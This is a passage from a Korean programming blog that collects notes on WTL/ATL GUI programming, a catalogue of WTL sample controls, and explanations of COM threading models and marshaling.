        CRect client, tmp;GetClientRect(&client);CBrush light, face, shadow, black;light.CreateSolidBrush(::GetSysColor(COLOR_BTNHIGHLIGHT));face.CreateSolidBrush(::GetSysColor(COLOR_BTNFACE));shadow.CreateSolidBrush(::GetSysColor(COLOR_BTNSHADOW));black.CreateSolidBrush(::GetSysColor(COLOR_3DDKSHADOW));// toptmp.SetRect(client.left, client.top, client.right - 1, client.top + 1);dc.FillRect(tmp, shadow);tmp.SetRect(client.left, client.top + 1, client.right - 1, client.top + 2); dc.FillRect(tmp, black);// bottomtmp.SetRect(client.left, client.bottom - 2, client.right - 1, client.bottom - 1);dc.FillRect(tmp, face);tmp.SetRect(client.left, client.bottom - 1, client.right - 1, client.bottom - 0);dc.FillRect(tmp, light);// lefttmp.SetRect(client.left, client.top + 1, client.left + 1, client.bottom - 1);dc.FillRect(tmp, shadow);tmp.SetRect(client.left + 1, client.top + 1, client.left + 2, client.bottom - 2);dc.FillRect(tmp, black);// righttmp.SetRect(client.right - 2, client.top + 1, client.right - 1, client.bottom - 2);dc.FillRect(tmp, face);//tmp.SetRect(client.right - 2, client.top + 1, client.right - 1, client.bottom - 2);//dc.FillRect(tmp, shadow);// centertmp.SetRect(client.left + 2, client.top + 2, client.right - 2, client.bottom - 2);dc.FillSolidRect(tmp, ::GetSysColor(COLOR_APPWORKSPACE));

      3.4 Contained Window

        class cMainWindow : public cWindowImpl<...>{private:    CContainedWindowT<CEdit> m_Edit;public:    BEGIN_MSG_MAP(cMainWindow)        ...    ALT_MSG_MAP(1)        MESSAGE_HANDLER(WM_CHAR, OnEditChar)    END_MSG_MAP()    LRESULT OnCreate(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)    {        ...        if (!m_Edit.Create(this, 1, m_hWnd, rcDefault))            return -1;        ...    }    LRESULT OnEditChar(UINT uMsg, WPARAM wParam, LPARAM lParam, BOOL& bHandled)    {        ...    }};
        메시지맵 ID에 주의

      3.5 더블 버퍼링

        CDoubleBufferImpl 클래스를 상속받으면 된다. 그런데 약간 이상한게 CDoubleBufferImpl 클래스 내부에 OnPaint 함수와 메시지맵이 정의가 되어있는데, OnPaint 함수가 제대로 호출되지 않는다. 그러므로 실제 상속받은 클래스에서 한번 선언해준다.
        class cMainDialog : public CDialogImpl<cMainDialog>,                    public CDoubleBufferImpl<cMainDialog>{public:    enum { IDD = IDD_MAIN };    BEGIN_MSG_MAP_EX(cMainDialog)        ...        MESSAGE_HANDLER(WM_PAINT, OnPaint) // 메시지맵은 정의하되, 실제 함수는 선언하지 않아야한다.        ...    END_MSG_MAP()    void DoPaint(CDCHandle dc)    {        // 여기서 뭔가를 실제로 그려준다.        ...    }};

      3.6 IDLE 처리

        CIdleHandler 클래스는 기본적으로 idle 처리를 한번 한 후에는 WM_MOUSEMOVE, WM_PAINT 이외의 메시지가 도착해야만 다시 idle 처리를 한다. 항상 idle 처리를 하게 만들기 위해서는 클래스를 상속받는 것이 편하다.
        class cMainFrame : public CFrameWindowImpl<cMainFrame>,                    public CUpdateUI<cMainFrame>,                   public CMessageFilter,                   public CIdleHandler{    ...    virtual BOOL OnIdle()    {        // 여기서 할 일을 정의한다.        return TRUE; // 별 의미 없다.    }    ...};class cCustomMessageLoop : public CMessageLoop{public:    virtual BOOL OnIdle(int nIdleCount)    {        CMessageLoop::OnIdle(nIdleCount);        // 리턴값이 중요하다! CMessageLoop::OnIdle 함수는 기본적으로 FALSE를 반환한다.        return TRUE;     }};int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,                    LPTSTR lpCmdLine, int nCmdShow){    cCustomMessageLoop theLoop;    cMainFrame theWindow;    theModule.Init(NULL, hInstance);    theModule.AddMessageLoop(&theLoop);        ....        return 0;}

      3.7 Custom Modal Dialog

        CDialogImpl 클래스를 상속받은 모달 Dialog를 만든 경우, Dialog 속성 창에서 Style을 Popup으로 해줘야 정상적으로 동작한다.

      3.8 DDX

        DDX_FLOAT 매크로를 사용하기 위해서는 atlddx.h 파일을 include하기 전에 _ATL_USE_DDX_FLOAT 매크로를 정의해줘야한다.

      3.9 메뉴 업데이트

        메뉴 업데이트(활성화/비활성화, 체크 등)를 사용하기 위해서는 CUpdateUI를 상속받은 다음, BEGIN_UPDATE_UI_MAP, END_UPDATE_UI_MAP 맵을 정의해줘야한다. 실제 업데이트는 UIEnable, UISetCheck 등의 함수를 이용한다.
        class cMainFrame : public CFrameWindowImpl<cMainFrame>,                     public CUpdateUI<cMainFrame>,                    public CMessageFilter,                    public CIdleHandler {     BEGIN_UPDATE_UI_MAP(cMainFrame)         UPDATE_ELEMENT(ID_VIEW_ORIGINALMESH, UPDUI_MENUPOPUP)         UPDATE_ELEMENT(ID_VIEW_NAVIGATIONMESH, UPDUI_MENUPOPUP)         UPDATE_ELEMENT(ID_VIEW_WIREFRAME, UPDUI_MENUPOPUP)         UPDATE_ELEMENT(ID_VIEW_BODY, UPDUI_MENUPOPUP)     END_UPDATE_UI_MAP() }; 

      3.10 단축키

      • 단축키를 지원하기 위해서는 CMessageFilter를 상속받고, PreTranslateMessage 함수를 오버라이드해준 다음, 윈도우 생성 시에 AddMessageFilter 함수를 이용해 메시지 루프에다 필터를 추가해야한다.

      3.11 RichEdit 컨트롤 사용하기

        RichEdit 컨트롤을 사용하기 위해서는 다음과 같은 매크로를 atlctrls.h 파일을 include 하기 전에 정의하고, 어딘가에서 라이브러리를 직접 로드해줘야한다.
        // RichEdit 1.0을 사용하기 위한 정의//#define WINVER                0x0400//#define _WIN32_IE     0x0400//#define _RICHEDIT_VER 0x0100// RichEdit 2.0을 사용하기 위한 정의#define WINVER          0x0500#define _WIN32_WINNT    0x0500#define _WIN32_IE       0x0501#define _RICHEDIT_VER   0x0200#include <atlctrls.h>...HINSTANCE hInstRich = ::LoadLibrary(CRichEditCtrl::GetLibraryName());ATLASSERT(hInstRich != NULL);...::FreeLibrary(hInstRich);



    4 다운로드


    'Computer Science' 카테고리의 다른 글

    Using the ATL Windowing Classes  (0) 2009.04.28
    ATL::CWindow 사용하기  (0) 2009.04.28
    WTL code  (0) 2009.04.25
    COM Architecture : Threading models  (0) 2009.04.24
    COM : mfc Automation mfc  (0) 2009.04.24

    http://www.viksoe.dk/code/all_wtl.htm

    WTL code

    Sample Projects


    Dialog Ed
    Dialog Ed implements a dialog editor using the DHTML Editing Component.
    Find out more here.

    Docked UI
    A sample project demonstrating my experimental WTL UI classes. It includes trendy classes such as the Docking Views, TaskBar Icon and Dialog Shadows classes.
    Find out more here.

    IconPackager
    The StarDock IconPackager user-interface.
    Find out more here.

    Script Studio
    A remake of the Envox Studio application.
    Find out more here.

    Skinned UI
    A mock-up project, which displays a skinned User Interface.
    Find out more here.

    Vista Photo Thing
    A recreation of the Windows Vista Photo Gallery user-interface.
    Find out more here.

    WTL XP UI
    A sample project demonstrating my experimental WTL XP classes.
    Find out more here.

    Documentation


    WTL Documentation
    HTML Help Documentation for the WTL library.
    Find out more here.

    Utilities


    ASCII Desktop
    Displays the Windows Desktop as ASCII art.
    Find out more here.

    FileMess
    FileMess is a neat utility, which moves files from one folder to another using pattern matching.
    Find out more here.

    Focus Flasher
    Tracks the current window/control with focus.
    Find out more here.

    Non-Rect
    Sample showing how to create a non-rectangular window.
    Find out more here.

    Controls


    Alpha Play
    A short walk-through of the alpha functions in Windows XP.
    Find out more here.

    Auto Hide control
    Adds "Auto Hide" side-bar to you window frame. It's that annoying left-side pop-up window from VisualStudio.NET.
    Find out more here.

    Balloon Dialog
    An Office 97-like balloon dialog.
    Find out more here.

    Bevel Line
    Turns a regular label (static control) into a bevel (raised or sunken) line.
    Find out more here.

    Blue Marquee
    Dragging a blue transparent selection box.
    Find out more here.

    Breadcrumbs Vista
    How to create the Breadcrumbs in Windows Vista.
    Find out more here.

    ButtonMenu
    A menu button control. Ownerdrawn button painting in Windows 98 and Windows XP.
    Find out more here.

    Calendar
    A simple calendar control with appointment lists.
    Find out more here.

    ChoiceBar
    A generic popup bar with buttons in a grid. Includes a palette chooser, border style bar and a pen style popup.
    Find out more here.

    Collapsible Panel
    A Collapsible Panel Container like the Windows XP Explorer kind.
    Find out more here.

    Coloured controls
    Extensions to most of the standard Windows controls with custom colouring.
    Find out more here.

    ComboBoxes
    Various ComboBox controls.
    Find out more here.

    Cool Tabs
    A set of custom drawn tab controls.
    Includes DevStudio 6 and VisualStudio.NET folder tabs.
    Find out more here.

    Day Planner
    Plan you day! With drag'n'drop and custom drawing.
    Find out more here.

    Edit Filter
    A simple subclassed EDIT control, which filters input.
    Find out more here.

    Edit ListBox
    Looks like the MS Developer Studio edit listbox.
    Find out more here.

    Edit Validate
    A subclassed EDIT control that only accept input based on a pattern-matching mask. With nice visual cues on errors.
    Find out more here.

    Fade Button
    A button which glows when the mouse hovers over it.
    Find out more here.

    Gradient Label
    Turns a regular label (static control) into a gradient filled label control.
    Find out more here.

    GraphLite
    A simple graph control.
    Find out more here.

    HTML ListBox
    A WTL list control which uses the HTML layout engine.
    Find out more here.

    Hex Editor
    A Hex Editor control.
    Find out more here.

    Image ListBox
    An ownerdrawn listbox with images and formatting.
    Find out more here.

    IntelliMouse
    Adds IntelliMouse support to a WTL window.
    Find out more here.

    LED control
    A LED control.
    Find out more here.

    ListView Tip
    A tracking tooltip for a ListView control
    Find out more here.

    MS Access Bar
    A control which looks like the MS Access 2000 Navigation bar.
    Find out more here.

    MS Outlook Bar
    A control which looks like the MS Outlook Navigation bar.
    Find out more here.

    Menu Control
    A fix for the infamous WTL 3.1 CommandBar MDI bug.
    Find out more here.

    MiniHTML
    A GDI based label control with text formatting.
    Find out more here.

    MultiSelect Tree
    A tree with multi-select capabilities.
    Find out more here.

    Namespace Tree Control
    How to use the Namespace Tree Control in Windows Vista.
    Find out more here.

    Non-Client control
    Testing non-client painting in Windows.
    Find out more here.

    Pie Chart
    A simple pie chart control with two sections.
    Find out more here.

    PropertyGrid
    A simple WTL grid control.
    Find out more here.

    PropertyList
    A WTL property list control; just like the one in MS Visual Basic.
    Find out more here.

    PropertyTree
    A WTL Property Tree control; resembles the IE Options control.
    Find out more here.

    PropertyView
    A LISTBOX subclass that displays a property-list. Not in-place editable.
    Find out more here.

    RTF ToolTip
    Use RTF in your tooltips. Create tooltips like in MS SQL Server 7.
    Find out more here.

    Relationship
    A control modelled after the MS Access Relationship editor.
    Find out more here.

    RtfStatic
    A RTF based label replacement with text formatting.
    Find out more here.

    Scanf Edit
    A masked edit control, which displays like the Date Time Picker control.
    Find out more here.

    Script Editor
    A RTF based editor with syntax highlighting.
    Find out more here.

    Shell Controls
    A bunch of controls that show files and folders using the Shell interfaces.
    Find out more here.

    Simple HTML Viewer
    A RTF-based HTML viewer control. Extends the RichEdit control.
    Find out more here.

    Skinned Button
    A WTL version of Shinya Miyamoto's Window Blinds skinned button.
    Find out more here.

    SplitterBar
    An even more simple SplitterBar control.
    Find out more here.

    Tabbed Dialog Container
    A container window for dialogs. Also includes a Tab control with view support.
    Find out more here.

    Task Dialog 98
    A TaskDialog replacement for Windows XP and worse.
    Find out more here.

    Task Dialog Wizard
    Using TaskDialog in multi-paged mode.
    Find out more here.

    TreeListView
    It's one of those "tree with a combined listview" controls.
    Find out more here.

    TreeMap Graphs
    Shows disk usage with treemapping algorithms.
    Find out more here.

    Waiting Anim
    A small spinning wheel animating control.
    Find out more here.


    If you can't find the control you're after, why not suggest it to me?

    Classes


    Command Bar XP
    An extension to the WTL Command Bar. Looks more Office XP like.
    Find out more here.

    Control Panel Applet
    Creates a Windows Control Panel Applet.
    Find out more here.

    Recent Command Bar
    An extension to the WTL Command Bar. Looks more Office 2000 like.
    Find out more here.

    TaskBarIcon
    A wrapper for the Shell Task Bar API to enable your own taskbar icons.
    Find out more here.

    atlctrlsext
    Additional WTL Window control wrappers.
    Find out more here.

    atldib
    A DIB (Device Independant Bitmap) class.
    Find out more here.

    atldock
    A basic docking windows framework for WTL.
    Find out more here.

    atlgdix
    Some extra GDI classes. Implements a memory DC for offscreen flicker-free painting.
    Find out more here.

    atlwinmisc
    Wraps a couple of the common Windows data types and functions.
    Find out more here.

    'Computer Science' 카테고리의 다른 글

    ATL::CWindow 사용하기  (0) 2009.04.28
    wtl  (0) 2009.04.25
    COM Architecture : Threading models  (0) 2009.04.24
    COM : mfc Automation mfc  (0) 2009.04.24
    마샬링(Marshaling)이란?  (0) 2009.04.24
    COM Threading Model의 필요성
    - in-process server를 제외한 COM 서버는 기본적으로 단일 COM 개체에 여러 클라이언트 스래드가 접근 가능한 다중스래드 환경에 노출되어 있다. 바로 이 클라이언트의 접근 동기화를 위해 COM threading model이 존재한다.

    COM Threading Models
    - single-threading model, apartment-threading model, free-threading(multi-threaded) model, mixed-threading(apartment 및 free-threading 지원) model, neutral model의 총 5가지 모델이 존재한다(명칭이 혼란스럽다. free-threading, mixed-threading model, neutral model 역시 apartment를 통한 threading 모델이다. 여기서는 apartment-threading model까지 포함한 이들을 가리켜 Apartment 연관 모델이라 지칭하겠다).
    - COM 라이브러리를 사용하기 전에 반드시 호출해야 하는 CoInitializeEx()이 바로 이 모델 지정에 사용된다.
    - 클라이언트와 COM 서버의 threading model이 서로 다르더라도 COM run-time 라이브러리가 이들 간 통신을 thread-safe하게 조절하지만, 성능 저하가 발생한다.

    'Computer Science' 카테고리의 다른 글

    wtl  (0) 2009.04.25
    WTL code  (0) 2009.04.25
    COM : mfc Automation mfc  (0) 2009.04.24
    마샬링(Marshaling)이란?  (0) 2009.04.24
    박성규씨의 ATL강좌  (0) 2009.04.24
    COM : mfc Automation mfc

    'Computer Science' 카테고리의 다른 글

    WTL code  (0) 2009.04.25
    COM Architecture : Threading models  (0) 2009.04.24
    마샬링(Marshaling)이란?  (0) 2009.04.24
    박성규씨의 ATL강좌  (0) 2009.04.24
    ATL/COM 강좌  (0) 2009.04.24

    marshalling ; 마샬링

    원래, 마샬이란 말을 지키거나, 축제 준비를 위하여 물건들을 가지런히 하는 것을 가리킨다. 의식에서, 마샬링이란 여러 벌의 코트 팔들이 하나의 구도를 이루도록 배열하는 것이다. 군에서의, 마샬링은 전투준비를 위해 군대를 모으고 정렬시키는 것을 의미한다.

    컴퓨터 프로그래밍에서, 마샬링은 하나 이상의 프로그램 또는 연속되어 있지 않은 저장 공간으로부터 데이터를 모은 다음, 데이터들을 메시지 버퍼에 집어넣고, 특정 수신기나 프로그래밍 인터페이스에 맞도록 그 데이터를 조직화하거나, 미리 정해진 다른 형식으로 변환하는 과정을 말한다.

    마샬링은 대체로, 어떤 한 언어로 작성된 프로그램의 출력 매개변수들을, 다른 언어로 작성된 프로그램의 입력으로 전달해야 하는 경우에 필요하다.

    클라이언트에서 원격 객체를 호출하기 위해서 필요한 모든 정보를

    묶어서 클라이언트에게 전송한다. 이러한 정보를 묶는 작업을

    마샬링(Marshaling)이라고 부른다.


    ■ 마샬링(Marshaling)의 종류와 구현

    ▷ 참조 마샬링(Mashal By Reference)
    - MarshalByRefObject를 상속
    ▶ 참조 마샬링(MBR)을 위한 클래스
    - public class MarshalSample : MarshalByRefObject {}

    ▷ 값 마샬링(Mashal By Value)
    - Serializable Attribute를 지정하거나 ISerializable 인터페이스를 구현
    ▶ 값 마샬링(MBV)을 위한 클래스
    - public class SerialSample {}
    후배의 답변)
    COM Server와 COM Client가 있을 때(다른 프로세스, 혹은 시스템일 경우)

    Client와 Server간의 데이타 전송시 각 도착지점의 데이타 형식에 맞게 내부적으로 변경해주는 것입니다.

    간단한 예를 들자면, Client에서 메모리를 할당하여 사용하면서, 포인터를 서버측으로 넘겼을 때, 마샬링이 일어나지 않는다면 해당 포인터는 유효하지 유효하지 않은 상태로, 잘못된 공간을 가르키고 있을 것입니다.
    포 인터가 Client에서 Server로 넘어갈 때, 내부적으로 Server에서도 동일한 공간의 메모리를 할당하고, Client의 할당된 메모리를 복제한 뒤 Client에서 넘어온 포인터의 값을 Server에서 할당된 공간의 포인터로 바꿔서 전달이 된다면 해당 포인터는 유효하게 동작할 것이고, 이러한 식의 동작을 마샬링이라고 합니다.

    다른 예를 들자면, .Net COM Server와 VB COM Client가 있다고 가정을 했을 때, 만약 마샬링이 일어나지 않는 채로 데이타를 전달하게되면, 서로의 포멧이 맞지 않아 정상적으로 전달되지 않을 것입니다. 서로간의 데이타 전달을 위해 일정한 형식의 포멧으로 맞추어 전달하는 것이 마샬링입니다.

    마샬링을 한 단어로 설명하면 Serialization이 될 것입니다.




    from)
    http://jgdr.net/faq/cache/148.html
    원래, 마샬이란 말을 지키거나, 축제 준비를 위하여 물건들을 가지런히 하는 것을 가리킨다. 의식에서, 마샬링이란 여러 벌의 코트 팔들이 하나의 구도를 이루도록 배열하는 것이다. 군에서의, 마샬링은 전투준비를 위해 군대를 모으고 정렬시키는 것을 의미한다.
    컴 퓨터 프로그래밍에서, 마샬링은 하나 이상의 프로그램 또는 연속되어 있지 않은 저장 공간으로부터 데이터를 모은 다음, 데이터들을 메시지 버퍼에 집어넣고, 특정 수신기나 프로그래밍 인터페이스에 맞도록 그 데이터를 조직화하거나, 미리 정해진 다른 형식으로 변환하는 과정을 말한다.
    마샬링은 대체로, 어떤 한 언어로 작성된 프로그램의 출력 매개변수들을, 다른 언어로 작성된 프로그램의 입력으로 전달해야 하는 경우에 필요하다.
    마샬링(marshalling)은 클라이언트가 사용하고자 하는 객체의 형태에 관계없이 같은 방식으로 인터페이스 함수를 사용할 수 있게 하는 메카니즘이다.
    마샬링은 두 가지의 단계를 포함한다.
    1) 서버의 인터페이스 포인터를 다른 프로세스의 클라이언트에서 사용할 수 있게 한다. 2) 클라이언트가 인터페이스의 함수에 실은 함수 인자들을 정확하게 서버로 전달해야 한다.
    원칙적으로 클라이언트는 in-proc서버만을 사용할 수 있다. 원격에 있는 서버를 사용하기 위해서는 그 서버를 대행하면서, 클라이언트와 같은 프로세스에서 실행될 수 있는 프록시나 핸들러가 필요하다.
    프록시는 원격의 서버를 순수하게대행한다는 의미이지만, 핸들러는 대행을 할 수도 있고, 자신이 구현할 수도 있는 혼합형태이다. 어쨌든 둘 다 원격의 객체와 클라이언트의 연결을 위한 대행의 역할을 한다.
    클라이언트가 서버의 함수를 호출할 때 넘겨지는 인자, 그리고 서버 함수의 리턴값은 프로세스의 경계를 넘어서 유효해야 한다. 이 측면 또한 마샬링이 개입되는 곳이다.
    인자의 형태에 따라 다른 형태의 마샬링이 일어난다. DWORD같이 간단한 타입은 직접 복사가 된다. 그러나 어떤 영역을 가리키는 포인터가 넘어갈 때는 그 영역 전체가 프로세스 경계를 넘어 복사되어야 한다.
    < 커스텀 마샬링과 표준 마샬링 >
    커스텀 마샬링의 경우 객체는 프록시/스텁에 자신의 인터페이스(인자)에 대한 마샬링 정책을 명확하게 정의해야 한다. 커스텀 마샬링은 주로 효율을 높이기 위한 목적으로 사용된다.
    OLE는 또한 표준 마샬링을 지원한다. 즉 표준 프록시와 표준 스텁을 제공하는데, 이 둘간에는 표준 RPC를 통해 통신한다.
    표 준 프록시와 표준 스텁은 각각의 인터페이스를 처리하는 작은 코드인 인터페이스 마샬러의 집합이다. 그래서 프록시는 프록시 매니저로, 스텁은 스텁 매니저로 불린다. 또한 마샬러는 인터페이스 프록시, 인터페이스 스텁이라고 불린다. 용어의 혼동을 피하기 위해 인터페이스 프록시는 facelet으로, 인터페이스 스텁은 stublet으로 부른다.
    < 마샬링 기본 메카니즘 > 클라이언트는 CoGetClassObject를 실행하여 원격 서버를 실행하고, 원격 서버는 CoRegisterClassObject함수를 통해 마샬링을 시작하게 된다. 이 과정을 통해 일단 서버의 IClassFactory가 클라이언트에 넘겨진다.
    이 과정을 자세히 살펴보면 다음과 같다.
    1) CoRegisterClassObject안에서 COM은 객체에게 클라이언트 프로세스에 포함될 프록시의 CLSID를 요구한다. 만일 객체가 CLSID를 제공하지 않을 때는 COM은 표준 마샬링 프록시를 사용한다.
    2) COM은 객체에게 마샬링 패킷을 요구한다. 마샬링 패킷은 프록시가 객체와 연결할 때 필요한 정보들을 담고 있다. 객체가 제공하지 않으면 역시 COM은 표준 패킷을 사용한다.
    3) COM은 프록시 CLSID와 마샬링 패킷을 클라이언트에 넘긴다.
    4) 클라이언트의 프로세스에서 COM은 1에서 얻어진 CLSID로 프록시를 생성하고, 2에서 얻어진 마샬링 패킷을 가져온다.
    5) 이제 프록시는 클라이언트가 CoGetClassObject에서 요구한 인터페이스의 포인터를 넘긴다. 클라이언트는 이 포인터(보통 IClassFactory)로 실제 객체를 생성할 수 있다.
    1,2과정은 CoMarshalInterface함수가 담당하고, 3과정은 Service Control Manager가 담당한다. 4,5과정은 CoUnmarshalInterface가 담당한다.
    coolcsw

    'Computer Science' 카테고리의 다른 글

    COM Architecture : Threading models  (0) 2009.04.24
    COM : mfc Automation mfc  (0) 2009.04.24
    박성규씨의 ATL강좌  (0) 2009.04.24
    ATL/COM 강좌  (0) 2009.04.24
    Hello, World! Web App  (0) 2009.04.23

    + Recent posts